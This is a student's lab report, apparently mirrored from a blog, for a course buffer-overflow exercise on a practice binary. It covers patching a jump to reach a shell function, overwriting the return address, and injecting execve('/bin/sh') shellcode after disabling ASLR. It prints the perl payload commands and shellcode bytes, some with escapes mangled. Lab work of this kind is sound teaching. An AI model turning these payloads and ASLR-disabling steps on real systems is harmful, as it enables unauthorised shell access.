zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165225《网络对抗技术》Exp1 缓冲区溢出实验

    2018-2019-2 20165225《网络对抗技术》Exp1 缓冲区溢出实验


    声明
    • 虽然老师在邮箱中要求要把虚拟机名改为个人名字缩写,但是我的kali好像不是很听话...重启数次也没用,在此声明bakugou就是我(是的我就是咔酱!)

    • image

    • 实验部分

    • 实验点1:逆向及Bof基础实践
    • 实验开始前,老师给了我们一个pwn1文件,先让我们来看看它是做什么的:

    • image

    • 和实验指导中说的一样,pwm1正常执行可简单回显任何用户输入的字符串。

    • 在这里我们首先养成一个好习惯,将原代码其复制一下,并将新文件命名为2016522,完成之后,我们便可通过反汇编查看20165225中的具体信息啦

      反汇编指令:objdump -d 20165225(名称)
    
    • image

    • image

    • 由于代码较长,我便截了两个我们比较关心的函数,一个是主函数main,和我们需要利用的foo函数,易见他们的跳转代码。

    • 我们若是想利用缓冲区漏洞,将代码跳转到我们想执行的区域,就要了解他是怎么跳的:

    • 首先看跳转指令执行后的下一个地址80484ba,以及跳转之后到达的foo函数地址8048491,显而易见应该是进行了加减运算实现了地址偏移,我们计算来验证一下:

    • 80484ba - 8048491 = 4ba - 491 = 0x29

    • 0x29 =41,补码为d7ffffff,即跳转指令的机器码。

    • 由此我们可知跳转的下一地址加上偏移量即可得到转移后的地址,我们想触发这个代码中的getshell函数,就要把偏移量计算出来:

    • image

    • 图中getshell的地址为804847d,则我们需要的偏移量补码为804847d - 80484ba = 47d - 4ba = -3d,即c3

    • 我们可通过vim 20145211查看原码,接着使用指令%!xxd将原码调成16进制显示。

    • 我们可通过/ + 关键词查找到d7ffffff,单击键盘i进入编辑模式,将d7修改为c3

    • image

    • 修改完成后输入esc退出编辑模式,再输入%!xxd -r变回原码,输入wq保存并退出。

    • 结果可见我们成功跳转到了getshell函数

    • image

    • 实验点2:自己构造输入参数使缓冲区溢出
    • 实验开始时我们同样养成cp的好习惯,将新可执行文件命名为wgy,开始gdb调试。

    • 我们通过r命令将其运行起来,并输入一个超过其缓冲区的数(不停的试),直到他的eip出现错误提示

    • 下图我们可以看到代码报错了,此时的eip指令寄存器存储的地址为0x35353535,此ASCII值代表5555,我们便知道我们输入的一大串中的5555覆盖了原来的地址,但是我一共打了8个5,并不知道是哪4个覆盖了。

    • image

    • 于是我将输入中的5改成不一样的数字以便后续观察

    • image

    • 查看指令寄存器eip内的值为0x34333231,表示4321(小端显示),由此可知,我们输入的字符串1111111122222222333333334444444412345678中的1234覆盖了返回地址的值,所以接下来我们需要修改1234的值为0804847d(getshel地址)进行覆盖。

    • 由为我们没法通过键盘输入x7dx84x04x08这样的16进制值,所以先生成包括这样字符串的一个文件。

    • 我们可通过命令行输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input(x0a表示回车)重定向一个input文件,并使用xxd查看其16进制内容。

    • 我们通过管道|,把input作为20154305的输入,覆盖返回地址,完整命令为(cat input; cat) | ./wgy

    • 运行shell指令ls,发现成功运行。

    • image

    • 实验点3:注入shellcode并执行(RNS)
    • 使用apt-get installexecstack命令安装execstack。

      • image
    • 然后接连输入:

    execstack -s pwn1

    execstack -q pwn1

    more /proc/sys/kernel/randomizevaspace

    2

    echo "0" > /proc/sys/kernel/randomizevaspace

    more /proc/sys/kernel/randomizevaspace

    0

    • image

    • 使用命令perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input2 注入input2,前面32个A用来填满buf,x04x03x02x01为预留的返回地址,下面找这个返回地址。

    • 在终端里用 (cat input2;cat) | ./5225wgy 作为输入,回车后不要动这个终端,然后去打开另一个终端。

    • 在第二个终端中ps -ef | grep 5225wgy查看pwn进程号,gdb5225wgy,使用attach 进程号 去查看进程。

    • 使用disassemble foo 命令反汇编代码,用 break *0x080484ae 命令设置断点,来查看注入buf的内存地址:
      ,输入c继续运行,同时在原来的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址

    • x/16x 0xffffd2bc命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input2可知,shellcode就在其后,所以地址应为0xffffd2c0

    • 接下来只需要将之前的x4x3x2x1改为这个地址即可,用命令 perl -e 'print "A" x 32;print "xc0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input2
      再用 (cat input_shellcode;cat) | ./5225wgy

    • 可见攻击成功(就是结果有点怪..)

    • image

    • 报告部分

    • 实验收获与感想
    • 答:实验还行,没有遇到什么没有解决的问题,也没有比较难懂的地方,就是计算方面有点忘了(虽然上学期刚学完),之后询问同学得以解决。

    • 什么是漏洞?漏洞有什么危害?
    • 答:漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,是受限制的计算机、组件、应用程序或其他联机资源的无意中留下的不受保护的入口点。

    • 危害:可以使攻击者能够在未授权的情况下访问或破坏系统。

    遇到的问题:
    • echo "0" > /proc/sys/kernel/randomizevaspace输入后显示bash:/proc/sys/kernel/randomize_va_space :权限不够

    • 解决:使用sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"即可关闭ASLR

    • 掌握NOP, JNE, JE, JMP
    • 答:百度可得

    NOP:无作用,英文"no operation"的简写,意思是"do nothing"(机器码90)

    JNE:若不相等则跳(机器码75)

    JE:若相等则跳(机器码74)

    JMP:无条件转移指令。段内直接短转Jmp

    CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。(机器码38)

    • CMP汇编指令的机器码
    • 答:见本实验内容

    • 掌握反汇编与十六进制编程器
    • 答:见本实验内容

    • 能正确修改机器指令改变程序执行流程
    • 答:见本实验内容

    • 能正确构造payload进行bof攻击
    • 答:见本实验内容

  • 相关阅读:
    《Microsoft SQL Server 2008 MDX Step by Step》学习笔记九:导航结构层次
    windows live messenger 2009登录失败,提示“错误代码:81000605”的一个解决办法
    《Microsoft SQL Server 2008 MDX Step by Step》学习笔记七:执行聚合(上)
    Java反编译插件Jdclipse导致Eclipse 3.7.2启动崩溃的解决方法
    关于婚姻,你能事先回答这些问题吗?(来自网络)
    邀月的一些其他随笔索引
    《Microsoft SQL Server 2008 MDX Step by Step》学习笔记十一:计算成员和动态命名集
    一点一滴培养你的领袖气质,要经常自我激励(转自网络)
    Firefox中卸载Java Console
    Jquery.Validate验证CheckBoxList,RadioButtonList,DropDownList是否选中
  • 原文地址:https://www.cnblogs.com/nmsl123/p/10521501.html
Copyright © 2011-2022 走看看